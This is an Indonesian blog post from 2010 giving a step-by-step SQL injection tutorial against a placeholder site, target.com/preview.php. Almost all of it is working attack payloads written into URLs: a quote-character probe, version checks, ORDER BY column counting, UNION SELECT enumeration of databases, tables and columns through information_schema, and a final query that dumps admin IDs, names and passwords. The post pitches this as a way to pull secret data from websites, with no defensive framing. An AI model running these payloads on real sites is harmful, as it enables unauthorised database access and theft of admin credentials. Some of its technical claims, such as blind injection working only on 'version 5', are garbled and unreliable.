Rabu, 27 Januari 2010

SQL injection

SQL injection adalah salah satu tehnik mengeksploitasi database dengan cara memasukan beberapa queri,sehingga dapat mengorek data secret atau data rahasia dari website. Yang berbeda dari SQL injection,dengan Blind SQL injection adalah : hanya bisa dijalankan pada web versi 5. Langsung saja ke praktenya,misal target adalah : http://www.target.com/preview.php?id=4 Tinggal dieksploitasi tuh alamatnya. 1. Cek Ketersedia'an Web. Dengan memasukkan karakter ( ' ) dibelakang angka 4 untuk mengetahui sifat web tersebut,mudahnya ; apakah web tersebut bisa diajak ngobrol ataukah tidak??? Atau web itu ternyata bisu dan gak bisa dikorek informasinya... Misal : http://www.target.com/preview.php?id=4' Catatan: jika pada halaman web ada yang berubah atau ada yang berkurang ataupun ada peringatan "warning error" maka bisa dikatakan dia bisa berbicara,dan mungkin bisa diajak ngobrol...emang diwarkop ngobrol..!! Wkwkwk tapi jika tidak terjadi perubahan apa2 pada halaman web,mending tinggalin aja,nyari yang lain...karena bisa dikatakan web tadi bisu dan dapat dipastikan tidak dapat dikorek informasinya. 2. Melihat Versi. Dengan query : and substring(@@version,1,1)=4 atau and substring(@@version,1,1)=5 Misal: http://www.target.com/preview.php?id=4 and substring(@@version,1,1)=4 <<< jika true bisa dikatakan versi 4,tapi jika false/error kita coba Query ke 2. http://www.target.com/preview.php?id=4 and substring(@@version,1,1)=5 <<< nah ternyata true,berarti dia versi 5... :D lanjut... 3. Menentukan Jumlah Baris Angka. Disini kita gunakan Query: order by (kolom) yaitu dengan menambahkan karak ter ( - ) atau minus dibelakang id= dan menambah kan ( -- ) double minus dibelakang angka baris. Misal: http://www.target.com/preview.php?id=-4 order by 1-- >>> jika true maka kita lanjutkan ke nomer baris ke 2,3,4,dst.. http://www.target.com/preview.php?id=-4 order by 6-- >>> jika pada nomer baris ke 6 ternyata false/error maka kita lanjutkan kelangkah berikutny. 4. Mencari lokasi user,database,table,dan kolom. Setelah kita ketahui kalau ternyata baris ke 6 adalah false maka kita putuskan bahwa jumlah baris angka yang bisa diinject adalah 5 angka yaitu 1,2,3,4,5. Query yang dipakai: union all select "jumlah kolom" Misal : http://www.target.com/preview.php?id=-4 union all select 1,2,3,4,5-- >>> Maka akan muncul angka tertentu atau bisa disebut angka keberuntungan,tempat database dan user bersembunyi. Baik itu dihalaman web atau dipage information. 5.Mencari user dan database. Query yang dipakai : dengan mengganti angka keberuntungan dengan user() dan database(), kita ibaratkan saja angka yang keluar adalah angka 2. Misal : http://www.target.com/preview.php?id=-4 union all select 1,user(),3,4,5-- >>> Maka akan keluar nama user. http://www.target.com/preview.php?id=-4 union all select 1,database(),3,4,5-- >>> Maka akan keluar nama database. 6. Mencari all database. Query yang digunakan: memasukkan group_concat(schema_name) dan from information_schema.schemata. Misal : http://www.target.com/preview.php?id=-4 union all select 1,group_concat(schema_name),3,4,5 from information_schema.schemata-- >>> maka akan keluar value : seluruh database. Lanjut... Dibawah ini adalah kuncinya :D 7. Mencari Tabel. Query yang digunakan : group_concat(table_name) dan from information_schema.tables where table_schema=database() Misal : http://www.target.com/preview.php?id=-4 union all select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()-- >>> Maka akan keluar beberapa nama tabel,dan kita harus mencari diantara tabel2 tersebut disembunyikan kolom admin dan password. Misal tabelnya adalah admin,maka kita melangkah ke selanjutnya. 8. Mencari Kolom. Query yang digunakan : group_concat(column_name) dan from information_schema.columns where table_name=0x[HEX] dan HEX dari table admin(hasil dari no.7) adalah [61646d696e]. Bisa dilihat disini : http://www.piclist.com/techref/ascii.htm lanjut... Misal : http://www.target.com/preview.php?id=-4 union all select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0x61646d696e-- >>> Maka akan keluar beberapa kolom biasanya adalah id,admin_name,password. Catatan: Jadi bisa disimpulkan bahwa,didalam sebuah tabel terdapat deretan id,nama,password dari seorang user atau admin. 9. Dumping (mencari id login,nama login,dan password login) Query yang digunakan : concat_ws(0x2B,column_id,column_name,column_password) dan from table_name Dan yang telah kita ketahui diatas bahwa : column_id = id column_name = admin_name column_password = password table_name = admin dan 0x2B adalah tanda [ + ] untuk menyekat antar value kolom. Misal : http://www.target.com/preview.php?id=-4 union all select 1,concat_ws(0x2B,id,admin_name,password),3,4,5 from admin-- >>> maka akan keluar hasil dumping dari admin. Kalo ada pertanyaan,silahkan post dibawah. Thanks.

Tidak ada komentar: